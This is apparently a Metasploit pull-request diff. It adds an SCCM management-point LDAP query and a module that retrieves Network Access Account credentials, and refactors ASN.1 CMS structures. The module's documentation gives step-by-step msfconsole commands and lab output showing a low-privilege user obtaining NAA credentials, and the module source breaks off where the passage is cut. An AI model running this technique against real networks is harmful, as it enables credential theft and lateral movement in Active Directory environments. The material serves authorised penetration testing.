diff --git a/data/auxiliary/gather/ldap_query/ldap_queries_default.yaml b/data/auxiliary/gather/ldap_query/ldap_queries_default.yaml index 94c059517802..d2951665405f 100644 --- a/data/auxiliary/gather/ldap_query/ldap_queries_default.yaml +++ b/data/auxiliary/gather/ldap_query/ldap_queries_default.yaml @@ -387,3 +387,12 @@ queries: references: - https://www.thehacker.recipes/ad/movement/builtins/pre-windows-2000-computers - https://trustedsec.com/blog/diving-into-pre-created-computer-accounts + - action: ENUM_SCCM_MANAGEMENT_POINTS + description: 'Find all registered SCCM/MECM management points' + filter: '(objectclass=mssmsmanagementpoint)' + attributes: + - cn + - dNSHostname + - msSMSSiteCode + references: + - https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/RECON/RECON-1/recon-1_description.md \ No newline at end of file diff --git a/documentation/modules/auxiliary/admin/sccm/get_naa_credentials.md b/documentation/modules/auxiliary/admin/sccm/get_naa_credentials.md new file mode 100755 index 000000000000..b05e36b28db7 --- /dev/null +++ b/documentation/modules/auxiliary/admin/sccm/get_naa_credentials.md @@ -0,0 +1,150 @@ +## NAA Credential Exploitation + +The NAA account is used by some SCCM configurations in the policy deployment process. It does not require many privileges, but +in practice is often misconfigured to have excessive privileges. + +The account can be retrieved in various ways, many requiring local administrative privileges on an existing host. However, +it can also be requested by an existing computer account, which by default most user accounts are able to create. + + +## Module usage +The `admin/dcerpc/samr_computer` module is generally used to first create a computer account, which requires no permissions: + +1. From msfconsole +2. Do: `use auxiliary/admin/dcerpc/samr_account` +3. Set the `RHOSTS`, `SMBUser` and `SMBPass` options + a. For the `ADD_COMPUTER` action, if you don't specify `ACCOUNT_NAME` or `ACCOUNT_PASSWORD` - one will be generated automatically + b. For the `DELETE_ACCOUNT` action, set the `ACCOUNT_NAME` option + c. For the `LOOKUP_ACCOUNT` action, set the `ACCOUNT_NAME` option +4. Run the module and see that a new machine account was added + +Then the `auxiliary/admin/sccm/get_naa_credentials` module can be used: + +1. `use auxiliary/admin/sccm/get_naa_credentials` +2. Set the `RHOST` value to a target domain controller (if LDAP autodiscovery is used) +3. Set the `USERNAME` and `PASSWORD` information to a domain account +4. Set the `COMPUTER_USER` and `COMPUTER_PASSWORD` to the values obtained through the `samr_computer` module +5. Run the module to obtain the NAA credentials, if present. + +Alternatively, if the Management Point and Site Code are known, the module can be used without autodiscovery: + +1. `use auxiliary/admin/sccm/get_naa_credentials` +2. Set the `COMPUTER_USER` and `COMPUTER_PASSWORD` to the values obtained through the `samr_computer` module +3. Set the `MANAGEMENT_POINT` and `SITE_CODE` to the known values. +4. Run the module to obtain the NAA credentials, if present. + +The management point and site code can be retrieved using the `auxiliary/gather/ldap_query` module, using the `ENUM_SCCM_MANAGEMENT_POINTS` action. + +See the Scenarios for a more detailed walk through + +## Options + +### RHOST, USERNAME, PASSWORD, DOMAIN, SESSION, RHOST +Options used to authenticate to the Domain Controller's LDAP service for SCCM autodiscovery. + +### COMPUTER_USER, COMPUTER_PASSWORD + +Credentials for a computer account (may be created with the `samr_account` module). If you've retrieved the NTLM hash of +a computer account, you can use that for COMPUTER_PASSWORD. + +### MANAGEMENT_POINT +The SCCM server. + +### SITE_CODE +The Site Code of the management point. + +## Scenarios +In the following example the user `ssccm.lab\eve` is a low-privilege user. + +### Creating computer account + +``` +msf6 auxiliary(admin/dcerpc/samr_account) > run rhost=192.168.33.10 domain=sccm.lab username=eve password=iloveyou +[*] Running module against 192.168.33.10 + +[*] 192.168.33.10:445 - Adding computer +[+] 192.168.33.10:445 - Successfully created sccm.lab\DESKTOP-2KVDWNZ3$ +[+] 192.168.33.10:445 - Password: pJTrvFyDHiHnqtlqTTNYe2HPVpO3Yekj +[+] 192.168.33.10:445 - SID: S-1-5-21-3875312677-2561575051-1173664991-1128 +[*] Auxiliary module execution completed +``` + +### Running with Autodiscovery +Using the credentials just obtained with the `samr_account` module. + +``` +msf6 auxiliary(admin/sccm/get_naa_credentials) > options + +Module options (auxiliary/admin/sccm/get_naa_credentials): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + COMPUTER_PASS yes The password of the provided computer account + COMPUTER_USER yes The username of a computer account + MANAGEMENT_POINT no The management point (SCCM server) to use + SITE_CODE no The site code to use on the management point + SSL false no Enable SSL on the LDAP connection + VHOST no HTTP server virtual host + + + Used when connecting via an existing SESSION: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SESSION 1 no The session to run this module on + + + Used when making a new connection via RHOSTS: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + DOMAIN no The domain to authenticate to + PASSWORD no The password to authenticate with + RHOSTS no The domain controller (for autodiscovery). Not required if providing a management point and site code + RPORT 389 no The LDAP port of the domain controller (for autodiscovery). Not required if providing a management point and site code (TCP) + USERNAME no The username to authenticate with + + +View the full module info with the info, or info -d command. +msf6 auxiliary(admin/sccm/get_naa_credentials) > run rhost=192.168.33.10 username=eve domain=sccm.lab password=iloveyou computer_user=DESKTOP-2KVDWNZ3$ computer_pass=pJTrvFyDHiHnqtlqTTNYe2HPVpO3Yekj +[*] Running module against 192.168.33.10 + +[*] Discovering base DN automatically +[*] 192.168.33.10:389 Discovered base DN: DC=sccm,DC=lab +[+] Found Management Point: MECM.sccm.lab (Site code: P01) +[*] Got SMS ID: BD0DC478-A71A-4348-BD14-B7E91335738E +[*] Waiting 5 seconds for SCCM DB to update... +[*] Got NAA Policy URL: http:///SMS_MP/.sms_pol?{c48754cc-090c-4c56-ba3d-532b5ce5e8a5}.2_00 +[+] Found valid NAA credentials: sccm.lab\sccm-naa:123456789 +[*] Auxiliary module execution completed +``` + +### Manual discovery + +``` +msf6 auxiliary(gather/ldap_query) > run rhost=192.168.33.10 username=eve domain=sccm.lab password=iloveyou +[*] Running module against 192.168.33.10 + +[*] 192.168.33.10:389 Discovered base DN: DC=sccm,DC=lab +CN=SMS-MP-P01-MECM.SCCM.LAB,CN=System Management,CN=System,DC=sccm,DC=lab +========================================================================= + + Name Attributes + ---- ---------- + cn SMS-MP-P01-MECM.SCCM.LAB + dnshostname MECM.sccm.lab + mssmssitecode P01 + +[*] Query returned 1 result. +[*] Auxiliary module execution completed + +msf6 auxiliary(gather/ldap_query) > use auxiliary/admin/sccm/get_naa_credentials + +msf6 auxiliary(admin/sccm/get_naa_credentials) > run computer_user=DESKTOP-2KVDWNZ3$ computer_pass=pJTrvFyDHiHnqtlqTTNYe2HPVpO3Yekj management_point=MECM.sccm.lab site_code=P01 + +[*] Got SMS ID: BD0DC478-A71A-4348-BD14-B7E91335738E +[*] Waiting 5 seconds for SCCM DB to update... +[*] Got NAA Policy URL: http:///SMS_MP/.sms_pol?{c48754cc-090c-4c56-ba3d-532b5ce5e8a5}.2_00 +[+] Found valid NAA credentials: sccm.lab\sccm-naa:123456789 +[*] Auxiliary module execution completed +``` \ No newline at end of file diff --git a/lib/msf/core/exploit/remote/kerberos/client/pkinit.rb b/lib/msf/core/exploit/remote/kerberos/client/pkinit.rb index 58ddfcfa1372..fd9176fe465e 100644 --- a/lib/msf/core/exploit/remote/kerberos/client/pkinit.rb +++ b/lib/msf/core/exploit/remote/kerberos/client/pkinit.rb @@ -238,9 +238,9 @@ def build_pa_pk_as_req(pfx, dh, dh_nonce, request_body, opts) # @param auth_pack [Rex::Proto::Kerberos::Model::Pkinit::AuthPack] The AuthPack to sign # @param key [OpenSSL::PKey] The private key to digitally sign the data # @param dh [OpenSSL::X509::Certificate] The certificate associated with the private key - # @return [Rex::Proto::Kerberos::Model::Pkinit::ContentInfo] The signed AuthPack + # @return [Rex::Proto::CryptoAsn1::Cms::ContentInfo] The signed AuthPack def sign_auth_pack(auth_pack, key, certificate) - signer_info = Rex::Proto::Kerberos::Model::Pkinit::SignerInfo.new( + signer_info = Rex::Proto::CryptoAsn1::Cms::SignerInfo.new( version: 1, sid: { issuer: certificate.issuer, @@ -268,7 +268,7 @@ def sign_auth_pack(auth_pack, key, certificate) signer_info[:signature] = signature - signed_data = Rex::Proto::Kerberos::Model::Pkinit::SignedData.new( + signed_data = Rex::Proto::CryptoAsn1::Cms::SignedData.new( version: 3, digest_algorithms: [ { @@ -283,9 +283,9 @@ def sign_auth_pack(auth_pack, key, certificate) signer_infos: [signer_info] ) - Rex::Proto::Kerberos::Model::Pkinit::ContentInfo.new( + Rex::Proto::CryptoAsn1::Cms::ContentInfo.new( content_type: Rex::Proto::Kerberos::Model::OID::SignedData, - signed_data: signed_data + data: signed_data ) end end diff --git a/lib/msf/core/exploit/remote/ms_icpr.rb b/lib/msf/core/exploit/remote/ms_icpr.rb index 925baa796dd0..ba2d404dd896 100644 --- a/lib/msf/core/exploit/remote/ms_icpr.rb +++ b/lib/msf/core/exploit/remote/ms_icpr.rb @@ -299,7 +299,7 @@ def build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algor # @param [OpenSSL::X509::Certificate] cert The public key to use for signing the request. # @param [OpenSSL::PKey::RSA] key The private key to use for signing the request. # @param [String] algorithm The digest algorithm to use. - # @return [Rex::Proto::Kerberos::Model::Pkinit::ContentInfo] The signed request content. + # @return [Rex::Proto::CryptoAsn1::Cms::ContentInfo] The signed request content. def build_on_behalf_of(csr:, on_behalf_of:, cert:, key:, algorithm: 'SHA256') # algorithm needs to be one that OpenSSL supports, but we also need the OID constants defined digest = OpenSSL::Digest.new(algorithm) @@ -309,7 +309,7 @@ def build_on_behalf_of(csr:, on_behalf_of:, cert:, key:, algorithm: 'SHA256') digest_oid = Rex::Proto::Kerberos::Model::OID.const_get(digest.name) - signer_info = Rex::Proto::Kerberos::Model::Pkinit::SignerInfo.new( + signer_info = Rex::Proto::CryptoAsn1::Cms::SignerInfo.new( version: 1, sid: { issuer: cert.issuer, @@ -342,7 +342,7 @@ def build_on_behalf_of(csr:, on_behalf_of:, cert:, key:, algorithm: 'SHA256') signer_info[:signature] = signature - signed_data = Rex::Proto::Kerberos::Model::Pkinit::SignedData.new( + signed_data = Rex::Proto::CryptoAsn1::Cms::SignedData.new( version: 3, digest_algorithms: [ { @@ -357,9 +357,9 @@ def build_on_behalf_of(csr:, on_behalf_of:, cert:, key:, algorithm: 'SHA256') signer_infos: [signer_info] ) - Rex::Proto::Kerberos::Model::Pkinit::ContentInfo.new( + Rex::Proto::CryptoAsn1::Cms::ContentInfo.new( content_type: Rex::Proto::Kerberos::Model::OID::SignedData, - signed_data: signed_data + data: signed_data ) end diff --git a/lib/msf/core/optional_session.rb b/lib/msf/core/optional_session.rb index c10a88585d61..8b4224514e65 100644 --- a/lib/msf/core/optional_session.rb +++ b/lib/msf/core/optional_session.rb @@ -8,6 +8,12 @@ module Msf module OptionalSession include Msf::SessionCompatibility + attr_accessor :session_or_rhost_required + + def session_or_rhost_required? + @session_or_rhost_required.nil? ? true : @session_or_rhost_required + end + # Validates options depending on whether we are using SESSION or an RHOST for our connection def validate super @@ -18,7 +24,7 @@ def validate validate_session elsif rhost validate_rhost - else + elsif session_or_rhost_required? raise Msf::OptionValidateError.new(message: 'A SESSION or RHOST must be provided') end end diff --git a/lib/rex/proto/crypto_asn1/cms.rb b/lib/rex/proto/crypto_asn1/cms.rb new file mode 100755 index 000000000000..f1a1674a4422 --- /dev/null +++ b/lib/rex/proto/crypto_asn1/cms.rb @@ -0,0 +1,295 @@ +module Rex::Proto::CryptoAsn1::Cms + class Attribute < RASN1::Model + sequence :attribute, + content: [objectid(:attribute_type), + set_of(:attribute_values, RASN1::Types::Any) + ] + end + + class Certificate + # Rather than specifying the entire structure of a certificate, we pass this off + # to OpenSSL, effectively providing an interface between RASN and OpenSSL. + + attr_accessor :options + + def initialize(options={}) + self.options = options + end + + def to_der + self.options[:openssl_certificate]&.to_der || '' + end + + # RASN1 Glue method - Say if DER can be built (not default value, not optional without value, has a value) + # @return [Boolean] + # @since 0.12 + def can_build? + !to_der.empty? + end + + # RASN1 Glue method + def primitive? + false + end + + # RASN1 Glue method + def value + options[:openssl_certificate] + end + + def parse!(str, ber: false) + self.options[:openssl_certificate] = OpenSSL::X509::Certificate.new(str) + to_der.length + end + end + + class AlgorithmIdentifier < RASN1::Model + sequence :algorithm_identifier, + content: [objectid(:algorithm), + any(:parameters, optional: true) + ] + end + + class KeyDerivationAlgorithmIdentifier < AlgorithmIdentifier + end + + class KeyEncryptionAlgorithmIdentifier < AlgorithmIdentifier + end + + class ContentEncryptionAlgorithmIdentifier < AlgorithmIdentifier + end + + class OriginatorInfo < RASN1::Model + sequence :originator_info, + content: [set_of(:certs, Certificate, implicit: 0, optional: true), + # CRLs - not implemented + ] + end + + class ContentType < RASN1::Types::ObjectId + end + + class EncryptedContent < RASN1::Types::OctetString + end + + class EncryptedContentInfo < RASN1::Model + sequence :encrypted_content_info, + content: [model(:content_type, ContentType), + model(:content_encryption_algorithm, ContentEncryptionAlgorithmIdentifier), + wrapper(model(:encrypted_content, EncryptedContent), implicit: 0, optional: true) + ] + end + + class Name + # Rather than specifying the entire structure of a name, we pass this off + # to OpenSSL, effectively providing an interface between RASN and OpenSSL. + attr_accessor :value + + def initialize(options={}) + end + + def parse!(str, ber: false) + self.value = OpenSSL::X509::Name.new(str) + to_der.length + end + + def to_der + self.value.to_der + end + end + + class IssuerAndSerialNumber < RASN1::Model + sequence :signer_identifier, + content: [model(:issuer, Name), + integer(:serial_number) + ] + end + + class CmsVersion < RASN1::Types::Integer + end + + class SubjectKeyIdentifier < RASN1::Types::OctetString + end + + class UserKeyingMaterial < RASN1::Types::OctetString + end + + class RecipientIdentifier < RASN1::Model + choice :recipient_identifier, + content: [model(:issuer_and_serial_number, IssuerAndSerialNumber), + wrapper(model(:subject_key_identifier, SubjectKeyIdentifier), implicit: 0)] + end + + class EncryptedKey < RASN1::Types::OctetString + end + + class OtherKeyAttribute < RASN1::Model + sequence :other_key_attribute, + content: [objectid(:key_attr_id), + any(:key_attr, optional: true) + ] + end + + class RecipientKeyIdentifier < RASN1::Model + sequence :recipient_key_identifier, + content: [model(:subject_key_identifier, SubjectKeyIdentifier), + generalized_time(:date, optional: true), + wrapper(model(:other, OtherKeyAttribute), optional: true) + ] + + end + + class KeyAgreeRecipientIdentifier < RASN1::Model + choice :key_agree_recipient_identifier, + content: [model(:issuer_and_serial_number, IssuerAndSerialNumber), + wrapper(model(:r_key_id, RecipientKeyIdentifier), implicit: 0)] + end + + class RecipientEncryptedKey < RASN1::Model + sequence :recipient_encrypted_key, + content: [model(:rid, KeyAgreeRecipientIdentifier), + model(:encrypted_key, EncryptedKey)] + end + + class KEKIdentifier < RASN1::Model + sequence :kek_identifier, + content: [octet_string(:key_identifier), + generalized_time(:date, optional: true), + wrapper(model(:other, OtherKeyAttribute), optional: true)] + end + + class KeyTransRecipientInfo < RASN1::Model + sequence :key_trans_recipient_info, + content: [model(:cms_version, CmsVersion), + model(:rid, RecipientIdentifier), + model(:key_encryption_algorithm, KeyEncryptionAlgorithmIdentifier), + model(:encrypted_key, EncryptedKey) + ] + end + + class OriginatorPublicKey < RASN1::Model + sequence :originator_public_key, + content: [model(:algorithm, AlgorithmIdentifier), + bit_string(:public_key)] + end + + class OriginatorIdentifierOrKey < RASN1::Model + choice :originator_identifier_or_key, + content: [model(:issuer_and_serial_number, IssuerAndSerialNumber), + model(:subject_key_identifier, SubjectKeyIdentifier), + model(:originator_public_key, OriginatorPublicKey) + ] + end + + class KeyAgreeRecipientInfo < RASN1::Model + sequence :key_agree_recipient_info, + content: [model(:cms_version, CmsVersion), + wrapper(model(:originator, OriginatorIdentifierOrKey), explicit: 0), + wrapper(model(:ukm, UserKeyingMaterial), explicit: 1, optional: true), + model(:key_encryption_algorithm, KeyEncryptionAlgorithmIdentifier), + sequence_of(:recipient_encrypted_keys, RecipientEncryptedKey) + ] + end + + class KEKRecipientInfo < RASN1::Model + sequence :kek_recipient_info, + content: [model(:cms_version, CmsVersion), + model(:kekid, KEKIdentifier), + model(:key_encryption_algorithm, KeyEncryptionAlgorithmIdentifier), + model(:encrypted_key, EncryptedKey) + ] + end + + class PasswordRecipientInfo < RASN1::Model + sequence :password_recipient_info, + content: [model(:cms_version, CmsVersion), + wrapper(model(:key_derivation_algorithm, KeyDerivationAlgorithmIdentifier), explicit: 0, optional: true), + model(:key_encryption_algorithm, KeyEncryptionAlgorithmIdentifier), + model(:encrypted_key, EncryptedKey) + ] + end + + class OtherRecipientInfo < RASN1::Model + sequence :other_recipient_info, + content: [objectid(:ore_type), + any(:ory_value) + ] + end + + class RecipientInfo < RASN1::Model + choice :recipient_info, + content: [model(:ktri, KeyTransRecipientInfo), + wrapper(model(:kari, KeyAgreeRecipientInfo), implicit: 1), + wrapper(model(:kekri, KEKRecipientInfo), implicit: 2), + wrapper(model(:pwri, PasswordRecipientInfo), implicit: 3), + wrapper(model(:ori, OtherRecipientInfo), implicit: 4)] + end + + class EnvelopedData < RASN1::Model + sequence :enveloped_data, + explicit: 0, constructed: true, + content: [model(:cms_version, CmsVersion), + wrapper(model(:originator_info, OriginatorInfo), implict: 0, optional: true), + set_of(:recipient_infos, RecipientInfo), + model(:encrypted_content_info, EncryptedContentInfo), + set_of(:unprotected_attrs, Attribute, implicit: 1, optional: true), + ] + end + + class SignerInfo < RASN1::Model + sequence :signer_info, + content: [integer(:version), + model(:sid, IssuerAndSerialNumber), + model(:digest_algorithm, AlgorithmIdentifier), + set_of(:signed_attrs, Attribute, implicit: 0, optional: true), + model(:signature_algorithm, AlgorithmIdentifier), + octet_string(:signature), + ] + end + + class EncapsulatedContentInfo < RASN1::Model + sequence :encapsulated_content_info, + content: [objectid(:econtent_type), + octet_string(:econtent, explicit: 0, constructed: true, optional: true) + ] + + def econtent + if self[:econtent_type].value == Rex::Proto::CryptoAsn1::OIDs::OID_DIFFIE_HELLMAN_KEYDATA.value + Rex::Proto::Kerberos::Model::Pkinit::KdcDhKeyInfo.parse(self[:econtent].value) + elsif self[:econtent_type].value == Rex::Proto::Kerberos::Model::OID::PkinitAuthData + Rex::Proto::Kerberos::Model::Pkinit::AuthPack.parse(self[:econtent].value) + end + end + end + + class SignedData < RASN1::Model + sequence :signed_data, + explicit: 0, constructed: true, + content: [integer(:version), + set_of(:digest_algorithms, AlgorithmIdentifier), + model(:encap_content_info, EncapsulatedContentInfo), + set_of(:certificates, Certificate, implicit: 0, optional: true), + # CRLs - not implemented + set_of(:signer_infos, SignerInfo) + ] + end + + class ContentInfo < RASN1::Model + sequence :content_info, + content: [model(:content_type, ContentType), + any(:data) + ] + + def enveloped_data + if self[:content_type].value == Rex::Proto::CryptoAsn1::OIDs::OID_CMS_ENVELOPED_DATA.value + EnvelopedData.parse(self[:data].value) + end + end + + def signed_data + if self[:content_type].value == Rex::Proto::CryptoAsn1::OIDs::OID_CMS_SIGNED_DATA.value + SignedData.parse(self[:data].value) + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/crypto_asn1/o_i_ds.rb b/lib/rex/proto/crypto_asn1/o_i_ds.rb index 104ec7c4e164..264d3f08ee70 100644 --- a/lib/rex/proto/crypto_asn1/o_i_ds.rb +++ b/lib/rex/proto/crypto_asn1/o_i_ds.rb @@ -61,6 +61,16 @@ class OIDs OID_PKIX_KP_TIMESTAMP_SIGNING = ObjectId.new('1.3.6.1.5.5.7.3.8', name: 'OID_PKIX_KP_TIMESTAMP_SIGNING', label: 'Time Stamping') OID_ROOT_LIST_SIGNER = ObjectId.new('1.3.6.1.4.1.311.10.3.9', name: 'OID_ROOT_LIST_SIGNER', label: 'Root List Signer') OID_WHQL_CRYPTO = ObjectId.new('1.3.6.1.4.1.311.10.3.5', name: 'OID_WHQL_CRYPTO', label: 'Windows Hardware Driver Verification') + OID_DIFFIE_HELLMAN_KEYDATA = ObjectId.new('1.3.6.1.5.2.3.2', name: 'OID_DIFFIE_HELLMAN_KEYDATA', label: 'Diffie Hellman Key Data') + + + OID_CMS_ENVELOPED_DATA = ObjectId.new('1.2.840.113549.1.7.3', name: 'OID_CMS_ENVELOPED_DATA', label: 'PKCS#7 CMS Enveloped Data') + OID_CMS_SIGNED_DATA = ObjectId.new('1.2.840.113549.1.7.2', name: 'OID_CMS_SIGNED_DATA', label: 'CMS Signed Data') + + OID_DES_EDE3_CBC = ObjectId.new('1.2.840.113549.3.7', name: 'OID_DES_EDE_CBC', label: 'Triple DES encryption in CBC mode') + OID_AES256_CBC = ObjectId.new('2.16.840.1.101.3.4.1.42', name: 'OID_AES256_CBC', label: 'AES256 in CBC mode') + OID_RSA_ENCRYPTION = ObjectId.new('1.2.840.113549.1.1.1', name: 'OID_RSA_ENCRYPTION', label: 'RSA public key encryption') + OID_RSAES_OAEP = ObjectId.new('1.2.840.113549.1.1.7', name: 'OID_RSAES_OAEP', label: 'RSA public key encryption with OAEP padding') def self.name(value) value = ObjectId.new(value) if value.is_a?(String) diff --git a/lib/rex/proto/crypto_asn1/x509.rb b/lib/rex/proto/crypto_asn1/x509.rb index c1dcf889c1ca..a4ffdd28c7a3 100644 --- a/lib/rex/proto/crypto_asn1/x509.rb +++ b/lib/rex/proto/crypto_asn1/x509.rb @@ -101,6 +101,14 @@ class PrivateDomainName < RASN1::Model ] end + class SubjectPublicKeyInfo < RASN1::Model + sequence :subject_public_key_info, + explicit: 1, constructed: true, optional: true, + content: [model(:algorithm, Rex::Proto::CryptoAsn1::Cms::AlgorithmIdentifier), + bit_string(:subject_public_key) + ] + end + class BuiltinDomainDefinedAttribute < RASN1::Model sequence :BuiltinDomainDefinedAttribute, content: [ printable_string(:type), diff --git a/lib/rex/proto/http/response.rb b/lib/rex/proto/http/response.rb index 45016fc9d480..f8780da55f42 100644 --- a/lib/rex/proto/http/response.rb +++ b/lib/rex/proto/http/response.rb @@ -116,6 +116,16 @@ def get_xml_document Nokogiri::XML(self.body) end + def gzip_decode! + self.body = gzip_decode + end + + def gzip_decode + gz = Zlib::GzipReader.new(StringIO.new(self.body.to_s)) + + gz.read + end + # Returns a parsed json document. # Instead of using regexes to parse the JSON body, you should use this. # diff --git a/lib/rex/proto/kerberos/model/pkinit.rb b/lib/rex/proto/kerberos/model/pkinit.rb index 1ab6fcca351d..819e136ef07a 100644 --- a/lib/rex/proto/kerberos/model/pkinit.rb +++ b/lib/rex/proto/kerberos/model/pkinit.rb @@ -8,78 +8,6 @@ module Model # Contains the models for PKINIT-related ASN1 structures # These use the RASN1 library to define the types module Pkinit - class AlgorithmIdentifier < RASN1::Model - sequence :algorithm_identifier, - content: [objectid(:algorithm), - any(:parameters, optional: true) - ] - end - - class Attribute < RASN1::Model - sequence :attribute, - content: [objectid(:attribute_type), - set_of(:attribute_values, RASN1::Types::Any) - ] - end - - class AttributeTypeAndValue < RASN1::Model - sequence :attribute_type_and_value, - content: [objectid(:attribute_type), - any(:attribute_value) - ] - end - - class Certificate - # Rather than specifying the entire structure of a certificate, we pass this off - # to OpenSSL, effectively providing an interface between RASN and OpenSSL. - - attr_accessor :options - - def initialize(options={}) - self.options = options - end - - def to_der - self.options[:openssl_certificate]&.to_der || '' - end - - # RASN1 Glue method - Say if DER can be built (not default value, not optional without value, has a value) - # @return [Boolean] - # @since 0.12 - def can_build? - !to_der.empty? - end - - # RASN1 Glue method - def primitive? - false - end - - # RASN1 Glue method - def value - options[:openssl_certificate] - end - - def parse!(str, ber: false) - self.options[:openssl_certificate] = OpenSSL::X509::Certificate.new(str) - to_der.length - end - end - - class ContentInfo < RASN1::Model - sequence :content_info, - content: [objectid(:content_type), - # In our case, expected to be SignedData - any(:signed_data) - ] - - def signed_data - if self[:content_type].value == '1.2.840.113549.1.7.2' - SignedData.parse(self[:signed_data].value) - end - end - end - class DomainParameters < RASN1::Model sequence :domain_parameters, content: [integer(:p), @@ -90,46 +18,6 @@ class DomainParameters < RASN1::Model ] end - class EncapsulatedContentInfo < RASN1::Model - sequence :encapsulated_content_info, - content: [objectid(:econtent_type), - octet_string(:econtent, explicit: 0, constructed: true, optional: true) - ] - - def econtent - if self[:econtent_type].value == '1.3.6.1.5.2.3.2' - KdcDhKeyInfo.parse(self[:econtent].value) - elsif self[:econtent_type].value == '1.3.6.1.5.2.3.1' - AuthPack.parse(self[:econtent].value) - end - end - end - - class Name - # Rather than specifying the entire structure of a name, we pass this off - # to OpenSSL, effectively providing an interface between RASN and OpenSSL. - attr_accessor :value - - def initialize(options={}) - end - - def parse!(str, ber: false) - self.value = OpenSSL::X509::Name.new(str) - to_der.length - end - - def to_der - self.value.to_der - end - end - - class IssuerAndSerialNumber < RASN1::Model - sequence :signer_identifier, - content: [model(:issuer, Name), - integer(:serial_number) - ] - end - class KdcDhKeyInfo < RASN1::Model sequence :kdc_dh_key_info, content: [bit_string(:subject_public_key, explicit: 0, constructed: true), @@ -148,41 +36,10 @@ class PkAuthenticator < RASN1::Model ] end - class SignerInfo < RASN1::Model - sequence :signer_info, - content: [integer(:version), - model(:sid, IssuerAndSerialNumber), - model(:digest_algorithm, AlgorithmIdentifier), - set_of(:signed_attrs, Attribute, implicit: 0, optional: true), - model(:signature_algorithm, AlgorithmIdentifier), - octet_string(:signature), - ] - end - - class SignedData < RASN1::Model - sequence :signed_data, - explicit: 0, constructed: true, - content: [integer(:version), - set_of(:digest_algorithms, AlgorithmIdentifier), - model(:encap_content_info, EncapsulatedContentInfo), - set_of(:certificates, Certificate, implicit: 0, optional: true), - # CRLs - not implemented - set_of(:signer_infos, SignerInfo) - ] - end - - class SubjectPublicKeyInfo < RASN1::Model - sequence :subject_public_key_info, - explicit: 1, constructed: true, optional: true, - content: [model(:algorithm, AlgorithmIdentifier), - bit_string(:subject_public_key) - ] - end - class AuthPack < RASN1::Model sequence :auth_pack, content: [model(:pk_authenticator, PkAuthenticator), - model(:client_public_value, SubjectPublicKeyInfo), + model(:client_public_value, Rex::Proto::CryptoAsn1::X509::SubjectPublicKeyInfo), octet_string(:client_dh_nonce, implicit: 3, constructed: true, optional: true) ] end diff --git a/lib/rex/proto/kerberos/model/pre_auth_pk_as_rep.rb b/lib/rex/proto/kerberos/model/pre_auth_pk_as_rep.rb index a34ece3572bb..aaa940377a58 100644 --- a/lib/rex/proto/kerberos/model/pre_auth_pk_as_rep.rb +++ b/lib/rex/proto/kerberos/model/pre_auth_pk_as_rep.rb @@ -14,7 +14,7 @@ class PreAuthPkAsRep < RASN1::Model ] def dh_rep_info - Rex::Proto::Kerberos::Model::Pkinit::ContentInfo.parse(self[:dh_rep_info].value) + Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse(self[:dh_rep_info].value) end def self.decode(data) diff --git a/lib/rex/proto/kerberos/model/pre_auth_pk_as_req.rb b/lib/rex/proto/kerberos/model/pre_auth_pk_as_req.rb index 53781cd0d0c6..093ad269ad1b 100644 --- a/lib/rex/proto/kerberos/model/pre_auth_pk_as_req.rb +++ b/lib/rex/proto/kerberos/model/pre_auth_pk_as_req.rb @@ -15,7 +15,7 @@ class PreAuthPkAsReq < RASN1::Model def parse!(der, ber: false) res = super(der, ber: ber) - self.signed_auth_pack = Rex::Proto::Kerberos::Model::Pkinit::ContentInfo.parse(self[:signed_auth_pack].value) + self.signed_auth_pack = Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse(self[:signed_auth_pack].value) res end diff --git a/modules/auxiliary/admin/sccm/get_naa_credentials.rb b/modules/auxiliary/admin/sccm/get_naa_credentials.rb new file mode 100644 index 000000000000..81f8de635104 --- /dev/null +++ b/modules/auxiliary/admin/sccm/get_naa_credentials.rb @@ -0,0 +1,490 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## +require 'time' +require 'nokogiri' +require 'rasn1' + +class MetasploitModule < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::LDAP + include Msf::OptionalSession::LDAP + + KEY_SIZE = 2048 + SECRET_POLICY_FLAG = 4 + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Get NAA Credentials', + 'Description' => %q{ + This module attempts to retrieve the Network Access Account(s), if configured, from the SCCM server. + This requires a computer account, which can be added using the samr_account module. + }, + 'Author' => [ + 'xpn', # Initial research + 'skelsec', # Initial obfuscation port + 'smashery' # module author + ], + 'References' => [ + ['URL', 'https://blog.xpnsec.com/unobfuscating-network-access-accounts/'], + ['URL', 'https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/CRED/CRED-2/cred-2_description.md'], + ['URL', 'https://github.com/Mayyhem/SharpSCCM'], + ['URL', 'https://github.com/garrettfoster13/sccmhunter'] + ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [], + 'SideEffects' => [CONFIG_CHANGES], + 'Reliability' => [] + } + ) + ) + + register_options([ + OptAddressRange.new('RHOSTS', [ false, 'The domain controller (for autodiscovery). Not required if providing a management point and site code' ]), + OptPort.new('RPORT', [ false, 'The LDAP port of the domain controller (for autodiscovery). Not required if providing a management point and site code', 389 ]), + OptString.new('COMPUTER_USER', [ true, 'The username of a computer account' ]), + OptString.new('COMPUTER_PASS', [ true, 'The password of the provided computer account' ]), + OptString.new('MANAGEMENT_POINT', [ false, 'The management point (SCCM server) to use' ]), + OptString.new('SITE_CODE', [ false, 'The site code to use on the management point' ]), + ]) + + @session_or_rhost_required = false + end + + def find_management_point + ldap_connect do |ldap| + validate_bind_success!(ldap) + + if (@base_dn = datastore['BASE_DN']) + print_status("User-specified base DN: #{@base_dn}") + else + print_status('Discovering base DN automatically') + + if (@base_dn = ldap.base_dn) + print_status("#{ldap.peerinfo} Discovered base DN: #{@base_dn}") + else + fail_with(Failure::UnexpectedReply, "Couldn't discover base DN!") + end + end + raw_objects = ldap.search(base: @base_dn, filter: '(objectclass=mssmsmanagementpoint)', attributes: ['*']) + return nil unless raw_objects.any? + + raw_obj = raw_objects.first + + raw_objects.each do |ro| + print_good("Found Management Point: 